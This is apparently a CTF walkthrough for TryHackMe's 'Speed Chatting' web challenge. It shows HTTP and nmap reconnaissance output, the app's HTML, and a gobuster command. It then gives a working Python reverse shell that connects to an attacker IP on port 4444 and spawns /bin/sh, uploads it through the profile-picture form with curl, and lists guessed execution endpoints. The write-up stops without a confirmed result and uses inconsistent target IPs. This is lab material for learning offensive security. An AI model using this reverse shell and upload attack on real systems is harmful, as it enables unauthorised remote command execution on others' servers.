Speed Chattingšš© - Unrestricted File Upload RCE (LFI)

Search for a command to run...

No comments yet. Be the first to comment.
Love at First Breach 2026 by TryHackMe is a beginner-friendly, live red-teaming CTF designed to help you fall in love with breaking things... safely. Hosted between 13 - 16 Feb 2026.
Lover Letter Locker is a Valentine's-themed web application that allows users to create and store love letters. The challenge description hints at privacy concerns with "For your eyes only?" - suggest
Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t

Speed Chatting is an AI Security Challenge that was part of the Love at First Breach 2026, red team beginnerās CTF. It covers prompt injection and system configuration vulnerabilities in AI agents, a growing concern in modern cybersecurity.
My Dearest Hacker,
Days before Valentine's Day, TryHeartMe rushed out a new messaging platform called "Speed Chatter", promising instant connections and private conversations. But in the race to beat the holiday deadline, security took a back seat. Rumours are circulating that "Speed Chatter" was pushed to production without proper testing.
As a security researcher, it's your task to break into "Speed Chatter", uncover flaws, and expose TryHeartMe's negligence before the damage becomes irreversible.
You can find the web application here:
http://MACHINE_IP:5000
curl -i http://<IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.10.12
Date: Fri, 13 Feb 2026 19:19:24 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12990
Connection: close
<!DOCTYPE html>
<html>
<head>
<title>LoveConnect - Speed Chatter</title>
<meta charset="UTF-8">
</head>
<body>
<div class='container'>
<h1>LoveConnect</h1>
<p class='tagline'>Speed Chat - Find Your Valentine!</p>
<div class='main-grid'>
<!-- Profile Section -->
<div class='profile-card'>
<h3>Your Profile</h3>
<img src='/uploads/profile_d660722c-3f92-43e1-a4dd-c6a80ba5075b.php' class='profile-pic' alt='Profile Picture'
onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22 width=%22150%22 height=%22150%22%3E%3Ccircle cx=%2275%22 cy=%2275%22 r=%2275%22 fill=%22%23f48fb1%22/%3E%3Ctext x=%2250%25%22 y=%2250%25%22 text-anchor=%22middle%22 dy=%22.3em%22 fill=%22white%22 font-size=%2250%22%3E\u2764\ufe0f%3C/text%3E%3C/svg%3E'">
<div class='username'>demo</div>
<div class='bio'>Looking for love!</div>
<div class='upload-section'>
<h4>Update Photo</h4>
<form action='/upload_profile_pic' method='post' enctype='multipart/form-data' id='uploadForm'>
<label for='fileInput' class='file-label'>
Choose File
</label>
<input type='file' id='fileInput' name='profile_pic' required>
<div class='file-name' id='fileName'>No file selected</div>
<button type='submit'>Upload</button>
</form>
</div>
</div>
<!-- Chat Section -->
<div class='chat-card'>
<h3>Speed Chat Room</h3>
<div class='chat-container' id='chatContainer'>
<!-- Messages loaded here -->
</div>
<div class='chat-input-container'>
<input type='text' id='chatInput' placeholder='Type your message...' maxlength='200'>
<button id='sendBtn'>Send</button>
</div>
</div>
</div>
</div>
<script>
// File upload
document.getElementById('fileInput').addEventListener('change', function(e) {
const fileName = e.target.files[0]?.name || 'No file selected';
document.getElementById('fileName').textContent = fileName;
});
document.getElementById('uploadForm').addEventListener('submit', function(e) {
const button = this.querySelector('button');
button.textContent = 'Uploading...';
button.disabled = true;
});
// Chat functionality
const chatContainer = document.getElementById('chatContainer');
const chatInput = document.getElementById('chatInput');
const sendBtn = document.getElementById('sendBtn');
function loadMessages() {
fetch('/api/messages')
.then(r => r.json())
.then(messages => {
chatContainer.innerHTML = '';
messages.forEach(msg => {
const div = document.createElement('div');
div.className = 'message' + (msg.user === 'demo' ? ' demo' : '');
// Create text nodes to prevent any HTML rendering
const userDiv = document.createElement('div');
userDiv.className = 'message-user';
userDiv.textContent = msg.user;
const textDiv = document.createElement('div');
textDiv.className = 'message-text';
textDiv.textContent = msg.text;
const timeDiv = document.createElement('div');
timeDiv.className = 'message-time';
timeDiv.textContent = msg.time;
div.appendChild(userDiv);
div.appendChild(textDiv);
div.appendChild(timeDiv);
chatContainer.appendChild(div);
});
chatContainer.scrollTop = chatContainer.scrollHeight;
});
}
function sendMessage() {
const text = chatInput.value.trim();
if (!text) return;
fetch('/api/send_message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({text: text})
})
.then(r => r.json())
.then(data => {
if (data.success) {
chatInput.value = '';
loadMessages();
}
});
}
sendBtn.addEventListener('click', sendMessage);
chatInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
sendMessage();
}
});
// Load messages on page load and refresh every 3 seconds
loadMessages();
setInterval(loadMessages, 3000);
</script>
</body>
</html>
nmap -sV -p- <IP_Address>
nmap -sV -p- <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 19:29 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
5000/tcp open upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F7B86%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,23A6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.5\x2
SF:0Python/3\.10\.12\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2019:29:09\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x2012990\r\nConnection:\x20close\r\n\r\n\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>LoveConnect\x20-\x20Speed\x20Chatter</tit
SF:le>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<styl
SF:e>\n\x20\x20\x20\x20\x20\x20\x20\x20@import\x20url\('https://fonts\.goo
SF:gleapis\.com/css2\?family=Pacifico&family=Quicksand:wght@400;600&displa
SF:y=swap'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\*\x20{\x20margin:\x200;\x20padding:\x200;\x20box-sizing:\x20bor
SF:der-box;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20body\x20{\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20font-family:\x20'Quicksand',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20background:\x20linear-gradient\(135deg,\x20#ff6
SF:b9d\x200%,\x20#c06c84\x2050%,\x20#f67280\x20100%\);\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100vh;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\.heart-bg\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20position:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:top:\x20-10%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20120%;\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\n\x20\x2
SF:0\x20\x20\x20")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//
SF:W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http
SF:://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\
SF:x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x
SF:20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\
SF:('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\
SF:x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20sy
SF:ntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</h
SF:tml>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.55 seconds
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,py
# Simple Python reverse shell
cat > shell.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.81.110.234",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
YOUR_ATTACKER_IP with your AttackBox IP.nc -lvnp 4444
curl -X POST http://10.81.134.199:5000/upload_profile_pic \ -F "profile_pic=@shell.py"
Now find how to execute it:
Try these endpoints:
# Direct execution endpoints
curl "http://10.49.153.64:5000/run?file=shell.py"
curl "http://10.49.153.64:5000/execute?script=shell.py"
curl "http://10.49.153.64:5000/api/run"
# Or check for an import/include mechanism
curl "http://10.49.153.64:5000/?import=uploads/shell"
